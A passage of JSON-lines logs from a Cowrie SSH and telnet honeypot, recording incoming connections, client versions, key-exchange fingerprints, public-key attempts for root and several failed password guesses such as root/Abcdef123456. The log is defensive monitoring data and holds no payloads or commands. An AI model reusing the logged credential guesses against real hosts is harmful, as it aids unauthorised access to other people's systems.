AAAAB3NzaC1yc2EAAAADAQABAAACAQDI9YIepNlRi17P+n7KdDG5r2d7+nD9wXJSnewjU5UyLcnO1dNab91LsN2rc7gHjMRyLlZIHnh1MQjEyLskgnDQsH5nG5bqjAIjQnBlAETeeXH83T8a2BEeg3XpWS50aGS27BxLzpHtC0kSY+t98Zzw/xvBl6YuqZEHDkn2GfVrFbWejhSnfPzh218A9iLRY9uiDABR4QAmCal8+5YZTByDSyGpl/xvxXvOeltKrFKiayXFm6d14YQP7T2ld0CdS8/IlWyXSc7FVLaZU02vCc7asyW/8VIXGztJAZxDEbDFo7UHO62PkTxMp/6XnFDyCmBmxtZtDrbr8RgTeWoUDXuAWRr39Rn/NKiX+Da0yNmJoaq0Ee9zd0OSsZwq0l6mHhsFv9toXNE75uqHy1wdOaWfba8Jvvasoo/86pFsY26oudzoDWaDUu39vs4g32a0QChd4aGk9lsb60OdnxcSPBLsRR3V/VHHw0uohjxGEutTKD1SWIflE5/OWl6UN0toYUU0+2iJMFPn9v7fn41bPHpk0uBfd0261nOhLnsLGQoWGoRsxDdliC6baLFNcuIxT2BYWAPOoiGJlH5BZG0OpLvWu0yVIuYFQ9J4ifsqNUSlJRL8CGR3XgkgBzOxGu2kXO2+GzcU1Coz/UGHkFswuNrZILqTu8qPiykcJGj0gvdIqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:47:98:f0:f7:d3:07:5b:b8:1e:b1:84:37:2e:fc:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.869216Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:47:98:f0:f7:d3:07:5b:b8:1e:b1:84:37:2e:fc:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI9YIepNlRi17P+n7KdDG5r2d7+nD9wXJSnewjU5UyLcnO1dNab91LsN2rc7gHjMRyLlZIHnh1MQjEyLskgnDQsH5nG5bqjAIjQnBlAETeeXH83T8a2BEeg3XpWS50aGS27BxLzpHtC0kSY+t98Zzw/xvBl6YuqZEHDkn2GfVrFbWejhSnfPzh218A9iLRY9uiDABR4QAmCal8+5YZTByDSyGpl/xvxXvOeltKrFKiayXFm6d14YQP7T2ld0CdS8/IlWyXSc7FVLaZU02vCc7asyW/8VIXGztJAZxDEbDFo7UHO62PkTxMp/6XnFDyCmBmxtZtDrbr8RgTeWoUDXuAWRr39Rn/NKiX+Da0yNmJoaq0Ee9zd0OSsZwq0l6mHhsFv9toXNE75uqHy1wdOaWfba8Jvvasoo/86pFsY26oudzoDWaDUu39vs4g32a0QChd4aGk9lsb60OdnxcSPBLsRR3V/VHHw0uohjxGEutTKD1SWIflE5/OWl6UN0toYUU0+2iJMFPn9v7fn41bPHpk0uBfd0261nOhLnsLGQoWGoRsxDdliC6baLFNcuIxT2BYWAPOoiGJlH5BZG0OpLvWu0yVIuYFQ9J4ifsqNUSlJRL8CGR3XgkgBzOxGu2kXO2+GzcU1Coz/UGHkFswuNrZILqTu8qPiykcJGj0gvdIqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.876127Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:b3:35:96:ed:cd:c4:86:b9:af:15:8c:bc:7e:65:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBs/YV7GPy9x7x55+mHIsIDoVJZBYNbJi7B2EtG7X7Ted5U4EHWXcvn70VMWPlETeySQvo/brjSwq6bXNoneXm1W8xQPupCEJj/ZXGODwhGdHorgs8AcEcXuN6SCKtWtDxVsKmyAFenEdO38XzseQ2H/Tbdksi4wSTvXx9RxzdpX59mJPmpCg72BwaNOxrEYSZmOlbzmbEoIKKaWmDb0zR6umrlA58UTqNgzxPn353gVLGsSqPKzyrhRzm23MfSic48pCDFc61l1c7aBVfSPNI4/NJxbq4ZfHuyvUmgLJVumKafzHu1Wmts1LI1goSOtLi/wMyvAM3mIccHpukvZZ2ocUq/oRzFBiCxz8J4XqaZwp2As8/iEfpEEgEERDnI3CAlvuCn2s8D2aeGRu+svYXKM4RZLAKb2ApiwCtr0NCFOeUwEGTfxy0npCyi6OVRdy+ZjlpTJq1nEswlpitWix+oB/qHaroT90EpXoLhXtezfETgMKaYBUrrLif3SEH/QKO3YhiIe1WbBlRsh8kvP6WkVFcKIC/E1vHPNrvEgp8jd4LXWG6lPbzt7AKcgcEd6YKDXKwvs7S7OKtjD7v/tKQO/IfpdFeSGG1b+RX2wRTXfhBTxj6tjKoUt2SqrUGbKJtryPYL+P9BVEGNlmTAndgYmpCnR7wfeONYXcjKexJdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:b3:35:96:ed:cd:c4:86:b9:af:15:8c:bc:7e:65:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.920460Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:b3:35:96:ed:cd:c4:86:b9:af:15:8c:bc:7e:65:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBs/YV7GPy9x7x55+mHIsIDoVJZBYNbJi7B2EtG7X7Ted5U4EHWXcvn70VMWPlETeySQvo/brjSwq6bXNoneXm1W8xQPupCEJj/ZXGODwhGdHorgs8AcEcXuN6SCKtWtDxVsKmyAFenEdO38XzseQ2H/Tbdksi4wSTvXx9RxzdpX59mJPmpCg72BwaNOxrEYSZmOlbzmbEoIKKaWmDb0zR6umrlA58UTqNgzxPn353gVLGsSqPKzyrhRzm23MfSic48pCDFc61l1c7aBVfSPNI4/NJxbq4ZfHuyvUmgLJVumKafzHu1Wmts1LI1goSOtLi/wMyvAM3mIccHpukvZZ2ocUq/oRzFBiCxz8J4XqaZwp2As8/iEfpEEgEERDnI3CAlvuCn2s8D2aeGRu+svYXKM4RZLAKb2ApiwCtr0NCFOeUwEGTfxy0npCyi6OVRdy+ZjlpTJq1nEswlpitWix+oB/qHaroT90EpXoLhXtezfETgMKaYBUrrLif3SEH/QKO3YhiIe1WbBlRsh8kvP6WkVFcKIC/E1vHPNrvEgp8jd4LXWG6lPbzt7AKcgcEd6YKDXKwvs7S7OKtjD7v/tKQO/IfpdFeSGG1b+RX2wRTXfhBTxj6tjKoUt2SqrUGbKJtryPYL+P9BVEGNlmTAndgYmpCnR7wfeONYXcjKexJdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.924187Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:5b:01:19:e5:09:75:6b:bd:2d:be:f3:3c:75:8d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMlBDuT/46rq3mZa9SXnl/d9XkbrBwshtoiHuOI9E80+R2m5+7xBuKKNwYWC3UN8LE1Nx8o2yEYmh13Q55Y2MqnACZ0JuV4vUfK9KBu1jVWJJmpz1DKcn61nrQtpiLgwVADU4RiCvzvDmwFTcNraU7LhCD8J61N73BgZ97mlkeFfmUC167d0okTvXajca4L5J/+zFKkQavtl9/rapNNkeC0E583qBAwCRsqUpjf+fL55x/yz4MMXQ15jG+ypn2ctso6BgvvY9AkZulcZa3bmVkgukuiVTxK9jXyTaVj8dMHeV+0re0D6dG3cxDxE0Qd5jBxoj/VMsA2het2ggNGE6Re2Qhsg0TlC4qelH/XjZI6ImbxNpMvjsSS2K3gQMDTEZ8gKPGx6b8pgktZkXzjMyyCQYnYrTV4+hW2pGXTCgsVFgZikjBgZqgouP5HFA6Dz5hA6wAv8Qq7+H92Jzu9pU+H2cyl1PJORVJ/OMq0BK829T7AxTnoUV/Pj+M7fParHdi1PS2CUA+xCSpOZyztB7y71B/r4pP0NgR2GN0W1MPJQLXVnnoAYkNR4rEHyQG7orWfUk5kEP7epzpW/L4xSdSJZHhodBV0OmK6jtlUFBcfJI1CaqUD4tRPGi1xOdZfMo1pN+KiMcK7fQ4ZXrJRMd2bMUi3+dZluSUnDrxxKLIAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:5b:01:19:e5:09:75:6b:bd:2d:be:f3:3c:75:8d:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.967844Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:5b:01:19:e5:09:75:6b:bd:2d:be:f3:3c:75:8d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMlBDuT/46rq3mZa9SXnl/d9XkbrBwshtoiHuOI9E80+R2m5+7xBuKKNwYWC3UN8LE1Nx8o2yEYmh13Q55Y2MqnACZ0JuV4vUfK9KBu1jVWJJmpz1DKcn61nrQtpiLgwVADU4RiCvzvDmwFTcNraU7LhCD8J61N73BgZ97mlkeFfmUC167d0okTvXajca4L5J/+zFKkQavtl9/rapNNkeC0E583qBAwCRsqUpjf+fL55x/yz4MMXQ15jG+ypn2ctso6BgvvY9AkZulcZa3bmVkgukuiVTxK9jXyTaVj8dMHeV+0re0D6dG3cxDxE0Qd5jBxoj/VMsA2het2ggNGE6Re2Qhsg0TlC4qelH/XjZI6ImbxNpMvjsSS2K3gQMDTEZ8gKPGx6b8pgktZkXzjMyyCQYnYrTV4+hW2pGXTCgsVFgZikjBgZqgouP5HFA6Dz5hA6wAv8Qq7+H92Jzu9pU+H2cyl1PJORVJ/OMq0BK829T7AxTnoUV/Pj+M7fParHdi1PS2CUA+xCSpOZyztB7y71B/r4pP0NgR2GN0W1MPJQLXVnnoAYkNR4rEHyQG7orWfUk5kEP7epzpW/L4xSdSJZHhodBV0OmK6jtlUFBcfJI1CaqUD4tRPGi1xOdZfMo1pN+KiMcK7fQ4ZXrJRMd2bMUi3+dZluSUnDrxxKLIAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:08.971756Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:7b:30:33:29:db:98:8d:53:3f:75:ad:ff:7a:f7:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGkA6Jtq0MQAFLgaTLGJLHWiv3aQIKEevZFF2d4S2D0f1L3XCCLXc1hC4UVUQbEqFJUBaN8VwvhKN9Tk8zholvK2usFKGIXdFQiSTlC6knf3QD6bRUpt/GMXGVQEY7p62tiIg9dE6IDHw7y86kKL84dUfXeQLaVO4uOmnhRSd96ZCuOg6lxpAY0iMvphtvIHo5GVwGR6GAvrfP4Ui840Yc5TirXtI+AJfCbrhmgnQ4eaRdeiXpXJeHu2+fg4zjw4NU2h0XKk5NIxjbF16kqZPERID9CCS24c6OL8uojSGYWi1vJMfPfCZsubKVFfPPGjI8AKcz+7/O0MybOX/mynFVeowxBOGvN+RVfvf8uIww5YYXlQI3wwR2etlVZLQgsBGrZbIYPCzsrDcmD0CDnmOzcyu/2da9WgvAaILj646Lq/UjUvaqYVxO0+IRWeMxiFv9/MzQxcOKD7TIBwQBGe7O7UWf/H55obAYzHNhlZWEADQtZdLOirRbyh7XO23vDtAegXqTvF0DI0D0hCGPs26bqGnwYlGHDV8tCQ/GN7Ln6BxyIWiitltCQax31/aiLT6eEfXdtr3tTbfbIhh/rpvbu1MFBoZo1Lh/CUxmr0WqnxIWY4wHxcktFpL+G5X7ULn1yROkLFcXWYknon3hOvm6JxbfbwlFqLBf1M80UEpd+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:7b:30:33:29:db:98:8d:53:3f:75:ad:ff:7a:f7:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:09.018133Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:7b:30:33:29:db:98:8d:53:3f:75:ad:ff:7a:f7:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGkA6Jtq0MQAFLgaTLGJLHWiv3aQIKEevZFF2d4S2D0f1L3XCCLXc1hC4UVUQbEqFJUBaN8VwvhKN9Tk8zholvK2usFKGIXdFQiSTlC6knf3QD6bRUpt/GMXGVQEY7p62tiIg9dE6IDHw7y86kKL84dUfXeQLaVO4uOmnhRSd96ZCuOg6lxpAY0iMvphtvIHo5GVwGR6GAvrfP4Ui840Yc5TirXtI+AJfCbrhmgnQ4eaRdeiXpXJeHu2+fg4zjw4NU2h0XKk5NIxjbF16kqZPERID9CCS24c6OL8uojSGYWi1vJMfPfCZsubKVFfPPGjI8AKcz+7/O0MybOX/mynFVeowxBOGvN+RVfvf8uIww5YYXlQI3wwR2etlVZLQgsBGrZbIYPCzsrDcmD0CDnmOzcyu/2da9WgvAaILj646Lq/UjUvaqYVxO0+IRWeMxiFv9/MzQxcOKD7TIBwQBGe7O7UWf/H55obAYzHNhlZWEADQtZdLOirRbyh7XO23vDtAegXqTvF0DI0D0hCGPs26bqGnwYlGHDV8tCQ/GN7Ln6BxyIWiitltCQax31/aiLT6eEfXdtr3tTbfbIhh/rpvbu1MFBoZo1Lh/CUxmr0WqnxIWY4wHxcktFpL+G5X7ULn1yROkLFcXWYknon3hOvm6JxbfbwlFqLBf1M80UEpd+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:09.021319Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:09.064676Z","src_ip":"148.153.121.224","session":"14cd5cfb19c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.11822295188904,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:49:30.611801Z","src_ip":"194.180.12.23","session":"f03880d30459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":56960,"dst_ip":"159.203.135.109","dst_port":22,"session":"06b8a9c88389","protocol":"ssh","message":"New connection: 154.92.15.23:56960 (159.203.135.109:22) [session: 06b8a9c88389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:01.703611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:01.709260Z","src_ip":"154.92.15.23","session":"06b8a9c88389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:10.706477Z","src_ip":"154.92.15.23","session":"06b8a9c88389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":33172,"dst_ip":"10.17.0.5","dst_port":22,"session":"7920d6ce1b77","protocol":"ssh","message":"New connection: 45.78.230.231:33172 (10.17.0.5:22) [session: 7920d6ce1b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:30.572303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:30.619596Z","src_ip":"45.78.230.231","session":"7920d6ce1b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:34.203617Z","src_ip":"45.78.230.231","session":"7920d6ce1b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:34.209943Z","src_ip":"45.78.230.231","session":"7920d6ce1b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:50:42.620000Z","src_ip":"45.78.230.231","session":"d9f646e0e8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.123.15","src_port":51923,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ffd1d64559","protocol":"telnet","message":"New connection: 186.233.123.15:51923 (159.203.135.109:23) [session: 50ffd1d64559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:51:58.789888Z"}
{"eventid":"cowrie.session.closed","duration":13.860392808914185,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:12.650190Z","src_ip":"186.233.123.15","session":"50ffd1d64559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":44872,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c7ddfb9a9f","protocol":"ssh","message":"New connection: 45.78.230.231:44872 (10.17.0.5:22) [session: b7c7ddfb9a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:13.802853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:14.274015Z","src_ip":"45.78.230.231","session":"b7c7ddfb9a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:14.508039Z","src_ip":"45.78.230.231","session":"b7c7ddfb9a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcdef123456","message":"login attempt [root/Abcdef123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:21.554334Z","src_ip":"45.78.230.231","session":"b7c7ddfb9a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:24.067158Z","src_ip":"45.78.230.231","session":"b7c7ddfb9a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.138.173.12","src_port":39132,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a326702a00b","protocol":"telnet","message":"New connection: 103.138.173.12:39132 (10.17.0.5:23) [session: 2a326702a00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:25.593028Z"}
{"eventid":"cowrie.session.closed","duration":12.681068658828735,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:38.273996Z","src_ip":"103.138.173.12","session":"2a326702a00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.56.105.105","src_port":38890,"dst_ip":"159.203.135.109","dst_port":23,"session":"16a74c00162b","protocol":"telnet","message":"New connection: 173.56.105.105:38890 (159.203.135.109:23) [session: 16a74c00162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:52:58.412509Z"}
{"eventid":"cowrie.session.closed","duration":13.190557479858398,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:11.602938Z","src_ip":"173.56.105.105","session":"16a74c00162b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":16820,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebcfb1a06ae1","protocol":"ssh","message":"New connection: 106.241.31.17:16820 (10.17.0.5:22) [session: ebcfb1a06ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:52.005027Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:52.209680Z","src_ip":"106.241.31.17","session":"ebcfb1a06ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":17926,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b5bd9544356","protocol":"ssh","message":"New connection: 106.241.31.17:17926 (10.17.0.5:22) [session: 2b5bd9544356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:52.426690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:52.431897Z","src_ip":"106.241.31.17","session":"2b5bd9544356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:52.644446Z","src_ip":"106.241.31.17","session":"2b5bd9544356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"msq","password":"a","message":"login attempt [msq/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:53.281965Z","src_ip":"106.241.31.17","session":"2b5bd9544356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:53:54.496568Z","src_ip":"106.241.31.17","session":"2b5bd9544356","protocol":"ssh"}
